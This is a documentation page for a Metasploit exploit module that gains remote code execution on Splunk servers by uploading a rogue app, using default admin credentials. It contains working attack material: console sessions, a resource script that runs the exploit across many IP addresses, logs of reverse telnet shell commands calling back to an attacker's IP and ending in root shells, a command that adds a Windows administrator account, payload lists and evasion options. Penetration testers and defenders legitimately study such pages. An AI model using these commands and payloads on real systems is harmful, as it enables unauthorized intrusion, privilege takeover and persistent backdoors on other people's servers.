Splunk Custom App Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/splunk_upload_app_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Splunk Custom App Remote Code Execution
Module: exploit/multi/http/splunk_upload_app_exec
Source code: modules/exploits/multi/http/splunk_upload_app_exec.rb
Disclosure date: 2012-09-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a feature of Splunk whereby a custom application can be uploaded through the web based interface. Through the 'script' search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default. This module has been tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4. Version 7.2.4 has been tested successfully against OSX as well
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using splunk_upload_app_exec against a single host
Normally, you can use exploit/multi/http/splunk_upload_app_exec this way:
msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > show targets
... a list of targets ...
msf exploit(splunk_upload_app_exec) > set TARGET target-id
msf exploit(splunk_upload_app_exec) > show options
... show and set options ...
msf exploit(splunk_upload_app_exec) > exploit
Using splunk_upload_app_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your splunk_upload_app_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/splunk_upload_app_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the script
search command a
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk.
Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default.
This module has been tested successfully against:
- 5.0 (Ubuntu 10.04, Windows XP and Windows Server 2003 SP2 with splunk-5.0.1-143156)
- 6.1, 6.1.1
- 7.2.4 (OSX 10.14.3, Windows 10 10.0.17134.1, CentOS7 3.10.0-957.1.3.el7.x86_64)
Verification Steps
- Start msfconsole
- Do:
use exploit/multi/http/splunk_upload_app_exec
- Set required variables (you will need admin credentials)
- Do:
SET LHOST [ip]
- Do:
SET RHOST [ip]
Set a payload:
- If targeting linux or macos the payload
cmd/unix/reverse_python
will be automatically selected. - If targeting windows the payload
cmd/windows/adduser
will be automatically selected.
- If targeting linux or macos the payload
You should get either a reverse shell on port 4444 via the predefined handler (Linux/OSX) or a new user in case (windows target)
External Demo
Options
EnableOverwrite
Overwrites an app of the same name. Needed if you change the app code in the tgz.
Default is false
USERNAME
Username for Splunk. Default is admin
PASSWORD
Default is changeme
Scenarios
Tested against 7.2.4 running on OSX 10.14.3
msf5 exploit(multi/http/splunk_upload_app_exec) >
msf5 exploit(multi/http/splunk_upload_app_exec) > set RHOST 172.16.165.1
RHOST => 172.16.165.1
msf5 exploit(multi/http/splunk_upload_app_exec) > set password splunksplunk
password => splunksplunk
msf5 exploit(multi/http/splunk_upload_app_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Splunk >= 7.2.4 / Linux
2 Splunk >= 7.2.4 / Windows
3 Splunk >= 7.2.4 / OSX
4 Splunk >= 5.0.1 / Linux
5 Splunk >= 5.0.1 / Windows
msf5 exploit(multi/http/splunk_upload_app_exec) > set target 3
target => 3
msf5 exploit(multi/http/splunk_upload_app_exec) > exploit
[*] Started reverse TCP double handler on 172.16.165.206:4444
[*] Using command: sh -c '(sleep 3733|telnet 172.16.165.206 4444|while : ; do sh && break; done 2>&1|telnet 172.16.165.206 4444 >/dev/null 2>&1 &)'
[*] Authenticating...
[*] Fetching state token from /en-US/manager/appinstall/_upload
[*] Uploading file upload_app_exec.tgz
[+] upload_app_exec successfully uploaded
[*] Invoking script command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8kNbt70jYB3aJKPm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n8kNbt70jYB3aJKPm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.165.206:4444 -> 172.16.165.1:51512) at 2019-03-17 22:12:33 +0100
Tested against splunk-5.0.1-143156 on Ubuntu 10.04
msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > show options
Module options (exploit/multi/http/splunk_upload_app_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 8000 yes The target port
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Splunk 5.0.1 / Linux
msf exploit(splunk_upload_app_exec) > set RHOST 192.168.1.137
RHOST => 192.168.1.137
msf exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Using command: sh -c '(sleep 4597|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] Authenticating...
[*] Started reverse double handler
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uyYJGuNfu2AetK0N;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "uyYJGuNfu2AetK0N\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.137:41432) at 2012-12-07 11:53:35 +0100
id
uid=0(root) gid=0(root) groups=0(root)
Tested against splunk-5.0.1-143156 on Windows XP
msf exploit(splunk_upload_app_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Splunk 5.0.1 / Linux
1 Splunk 5.0.1 / Windows
msf exploit(splunk_upload_app_exec) > set target 1
target => 1
msf exploit(splunk_upload_app_exec) > set payload cmd/windows/adduser
payload => cmd/windows/adduser
msf exploit(splunk_upload_app_exec) > show options
Module options (exploit/multi/http/splunk_upload_app_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no Use a proxy chain
RHOST 192.168.1.137 yes The target address
RPORT 8000 yes The target port
SPLUNK_APP_FILE /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Metasploit$1 yes The password for this user
USER metasploit yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group
Exploit target:
Id Name
-- ----
1 Splunk 5.0.1 / Windows
msf exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Using command: cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
[*] Authenticating...
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
After that, on the victim machine:
C:\Documents and Settings\Administrator>net user metasploit
User name metasploit
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 12/6/2012 11:19 PM
Password expires 1/18/2013 10:07 PM
Password changeable 12/6/2012 11:19 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
C:\Documents and Settings\Administrator>
Go back to menu.
Msfconsole Usage
Here is how the multi/http/splunk_upload_app_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/splunk_upload_app_exec
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/splunk_upload_app_exec) > show info
Name: Splunk Custom App Remote Code Execution
Module: exploit/multi/http/splunk_upload_app_exec
Platform: Linux, Unix, Windows, OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2012-09-27
Provided by:
marcwickenden
sinn3r <[email protected]>
juan vazquez <[email protected]>
Gary Blosser
Matteo Malvica
Available targets:
Id Name
-- ----
0 Automatic
1 Splunk >= 7.2.4 / Linux
2 Splunk >= 7.2.4 / Windows
3 Splunk >= 7.2.4 / OSX
4 Splunk >= 5.0.1 / Linux
5 Splunk >= 5.0.1 / Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SPLUNK_APP_FILE /opt/metasploit-framework/embedded/framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
This module exploits a feature of Splunk whereby a custom
application can be uploaded through the web based interface. Through
the 'script' search command a user can call commands defined in
their custom application which includes arbitrary perl or python
code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of
"admin:changeme", the default Administrator credential for Splunk.
Note that the Splunk web interface runs as SYSTEM on Windows, or as
root on Linux by default. This module has been tested successfully
against Splunk 5.0, 6.1, 6.1.1 and 7.2.4. Version 7.2.4 has been
tested successfully against OSX as well
References:
http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html
http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html
http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script
Module Options
This is a complete list of options available in the multi/http/splunk_upload_app_exec exploit:
msf6 exploit(multi/http/splunk_upload_app_exec) > show options
Module options (exploit/multi/http/splunk_upload_app_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SPLUNK_APP_FILE /opt/metasploit-framework/embedded/framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/splunk_upload_app_exec exploit:
msf6 exploit(multi/http/splunk_upload_app_exec) > show advanced
Module advanced options (exploit/multi/http/splunk_upload_app_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CommandOutputDelay 5 yes Seconds to wait before requesting command output from Splunk
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
DisableUpload false yes Disable the app upload if you have already performed it once
EnableContextEncoding false no Use transient context when encoding payloads
EnableOverwrite false yes Overwrites an app of the same name. Needed if you change the app code in the tgz
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ReturnOutput false yes Display command output
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/splunk_upload_app_exec module can exploit:
msf6 exploit(multi/http/splunk_upload_app_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Splunk >= 7.2.4 / Linux
2 Splunk >= 7.2.4 / Windows
3 Splunk >= 7.2.4 / OSX
4 Splunk >= 5.0.1 / Linux
5 Splunk >= 5.0.1 / Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/splunk_upload_app_exec exploit:
msf6 exploit(multi/http/splunk_upload_app_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
8 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
9 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
10 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
11 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
12 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
13 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
14 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
15 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
16 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
17 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
18 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
19 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
20 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
21 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
22 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
23 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
24 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
25 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
26 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
27 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
28 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/splunk_upload_app_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/splunk_upload_app_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No output returned in time
Here is a relevant code snippet related to the "No output returned in time" error message:
227: # wait a short time to let the output be produced
228: print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
229: select(nil, nil, nil, command_output_delay)
230: job_output = fetch_job_output(job_id)
231: if job_output.body.match(/Waiting for data.../)
232: print_status("No output returned in time")
233: else
234: output = ""
235: job_output.body.each_line do |line|
236: # strip off the leading and trailing " added by Splunk
237: line.gsub!(/^"/, "")
Unable to get session cookies
Here is a relevant code snippet related to the "Unable to get session cookies" error message:
288: session_id = v.split('=')[1]
289: end
290: end
291: end
292: else
293: fail_with(Failure::NotFound, "Unable to get session cookies")
294: end
295:
296: res = send_request_cgi(
297: 'uri' => '/en-US/account/login',
298: 'method' => 'POST',
No response
Here is a relevant code snippet related to the "No response" error message:
304: 'password' => @password
305: }
306: )
307:
308: if !res
309: fail_with(Failure::Unreachable, "No response")
310: elsif res.code != 200
311: fail_with(Failure::Unreachable, "Authentication failed")
312:
313: elsif @ver7 == true
314: splunkweb_csrf_token_8000_port = ''
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
306: )
307:
308: if !res
309: fail_with(Failure::Unreachable, "No response")
310: elsif res.code != 200
311: fail_with(Failure::Unreachable, "Authentication failed")
312:
313: elsif @ver7 == true
314: splunkweb_csrf_token_8000_port = ''
315: @splunkweb_csrf_token_8000_id = ''
316: splunkd_8000_port = ''
Error uploading
Here is a relevant code snippet related to the "Error uploading" error message:
379: }, 30)
380:
381: if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
382: print_good("#{app_name} successfully uploaded")
383: else
384: fail_with(Failure::Unknown, "Error uploading")
385: end
386: end
387:
388: # version 7.2.x only
389: def do_upload_app_7(app_name, file_name)
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
416: 'ctype' => "multipart/form-data; boundary=#{boundary}",
417: 'data' => data
418: }, 30)
419:
420: unless res
421: fail_with(Failure::Unreachable, "Connection failed")
422: end
423:
424: unless res.code == 303 || res.code == 200
425: fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426: end
Unexpected reply (HTTP <RES.CODE>)
Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>)" error message:
420: unless res
421: fail_with(Failure::Unreachable, "Connection failed")
422: end
423:
424: unless res.code == 303 || res.code == 200
425: fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426: end
427:
428: if res.body.include?('There was an error processing the upload')
429: fail_with(Failure::Unknown, "Error uploading")
430: end
There was an error processing the upload
Here is a relevant code snippet related to the "There was an error processing the upload" error message:
423:
424: unless res.code == 303 || res.code == 200
425: fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426: end
427:
428: if res.body.include?('There was an error processing the upload')
429: fail_with(Failure::Unknown, "Error uploading")
430: end
431:
432: print_good("#{app_name} successfully uploaded")
433:
Error uploading
Here is a relevant code snippet related to the "Error uploading" error message:
424: unless res.code == 303 || res.code == 200
425: fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426: end
427:
428: if res.body.include?('There was an error processing the upload')
429: fail_with(Failure::Unknown, "Error uploading")
430: end
431:
432: print_good("#{app_name} successfully uploaded")
433:
434: end
csrf form Key not found
Here is a relevant code snippet related to the "csrf form Key not found" error message:
451: @csrf_form_key = v.split('=')[1]
452: end
453: end
454: end
455: end
456: fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
457: end
458:
459: # version 7.2.x only
460: def do_get_state_token(uri)
461: print_status("Fetching state token from #{uri}")
state token form Key not found
Here is a relevant code snippet related to the "state token form Key not found" error message:
467: #puts res
468: res.body.match('name=\"state\" value="(.*)"') # Version 5
469: @state_token = Regexp.last_match(1)
470:
471: unless @state_token
472: fail_with(Failure::Unknown, "state token form Key not found")
473: end
474: end
475:
476: def fetch_job_output(job_id)
477: # fetch the output of our job id as csv for easy parsing
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12629 Merged Pull Request: Fix typo in splunk_upload_app_exec.rb
- #11579 Merged Pull Request: Add support for splunk 7.2.4 to 'Splunk Custom App Remote Code Execution
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3507 Merged Pull Request: Add #3463 commits from @ghost - Update Splunk for 6.1
- #3359 Merged Pull Request: Resolved some more Set-Cookie warnings
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2491 Merged Pull Request: Bug #8419 - Added platform info missing on exploits
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
References
- CVE: Not available
- http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html
- http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html
- http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script
See Also
Check also the following modules related to this module:
- exploit/multi/http/splunk_mappy_exec
- auxiliary/scanner/http/splunk_web_login
- exploit/multi/http/apprain_upload_exec
- exploit/multi/http/struts_default_action_mapper
- exploit/multi/browser/firefox_xpi_bootstrapped_addon
- exploit/multi/browser/java_signed_applet
- exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
Authors
- marcwickenden
- sinn3r
- juan vazquez
- Gary Blosser
- Matteo Malvica
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.